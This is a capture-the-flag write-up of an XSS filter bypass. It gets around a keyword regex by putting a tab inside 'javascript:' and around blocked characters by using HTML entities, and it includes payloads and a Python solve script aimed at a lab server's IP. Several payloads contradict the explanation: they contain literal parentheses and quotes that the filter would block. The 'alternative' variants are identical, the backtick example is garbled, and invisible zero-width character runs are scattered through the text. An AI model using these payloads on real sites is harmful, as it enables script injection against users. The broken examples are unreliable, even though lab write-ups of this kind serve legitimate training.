Medium 5 - JavaScript URL Scheme Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: html_entity_encoding, regex_evasion, whitespace_scheme_bypass

Summary

Walkthrough of the CUSTOM Web Medium 5 - JavaScript URL Scheme Bypass. Task: XSS challenge where javascript keyword is filtered with regex and parentheses are blocked. Solution: Use whitespace (tab) in URL scheme to bypass regex filter and HTML entities to encode parenth

Description

XSS challenge from the SiBears XSS School series. Need to create a payload that executes prompt("sibears") in the bot's browser. The bot visits the page and clicks on <a> tags.

URL: http://109.233.56.90:11659/xss/medium/5

Analysis

Escape function:

 javascript read-only • copy allowed Copy
function escape(s) {
  s = s.replace(/[<>"'\/()]/g, '_');
  s = s.replace(/[a-z]+script/ig, 'python');
  return '<a href="' + s + '">Click ME</a>';  
}

Two levels of filtering: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Character filter: < > " ' / ( ) → _

   • Cannot escape from attribute (quotes are filtered)
   • Cannot use () for function calls
   • Cannot use / for regex or comments

2. Keyword filter: /[a-z]+script/ig → python

   • Catches javascript, Javascript, JAVASCRIPT, vbscript, etc.
   • Requires at least one [a-z] character before script

Injection context:

• Payload is inserted into href="..." attribute
• Bot clicks the link → javascript: URL executes

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bypass 1: Whitespace in URL scheme

Regex /[a-z]+script/ requires a continuous sequence of [a-z] before script. Inserting a whitespace character between java and script breaks the pattern:

java\tscript:  →  doesn't match [a-z]+script  →  not replaced with python

Browsers ignore whitespace (tab \t, CR \r, LF \n) in URL scheme names:

• java\tscript: is interpreted as javascript:
• java\rscript: also works

Bypass 2: HTML entities for () and "

Characters (, ), " are filtered, but HTML entities are not filtered:

• &, #, digits, ; — not in the list [<>"'\/()] ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HTML decimal entities:

• ( → (
• ) → )
• " → "

The browser decodes HTML entities in attributes before executing the javascript: URL.

Winning Payload

java[TAB]script:prompt("sibears")

Where [TAB] = \t (0x09)

Processing flow:

1. Escape function:

   • java\tscript:prompt("sibears")
   • Character filter: nothing replaced (no <>"'/())
   • Keyword filter: java\t doesn't match [a-z]+ → not replaced

2. HTML output:

    html read-only • copy allowed Copy
   <a href="java	script:prompt&#40;&#34;sibears&#34;&#41;">Click ME</a>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Bot clicks:
   • Browser parses java[TAB]script: as javascript: scheme
   • Decodes entities: ( → (, " → ", ) → )
   • Executes: prompt("sibears")

Alternative payloads

All these variants also work:

java\rscript:prompt("sibears")     # CR instead of TAB
java\tscript:prompt("sibears")  # Hex entities
java\tscript:prompt("sibears")  # Named entities

Why backticks don't work

Initially tried tagged template literals:

java\tscript:prompt`sibears`

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Backticks are not filtered, but tagged template literal passes an array, not a string:

• promptsibears`` is equivalent to prompt(["sibears"])
• Checker expects prompt("sibears") with a string argument

Solve Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests
import time

BASE = "http://109.233.56.90:11659"

# Tab character breaks [a-z]+script regex
# HTML entities bypass () and " filter
payload = 'java\tscript:prompt("sibears")'

r = requests.post(f"{BASE}/xss/medium/5/form", data={"code": payload}, allow_redirects=False)
checker_url = BASE + r.headers.get('Location', '')
print(f"Checker: {checker_url}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

time.sleep(5)
r2 = requests.get(checker_url)
print(r2.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering html_entity_encoding, regex_evasion, whitespace_scheme_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-15 • CUSTOM • Medium 5 - JavaScript URL Scheme Bypass • Difficulty: Medium